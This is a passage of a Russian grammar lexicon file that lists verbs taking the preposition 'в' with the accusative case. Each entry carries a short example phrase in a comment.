rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела 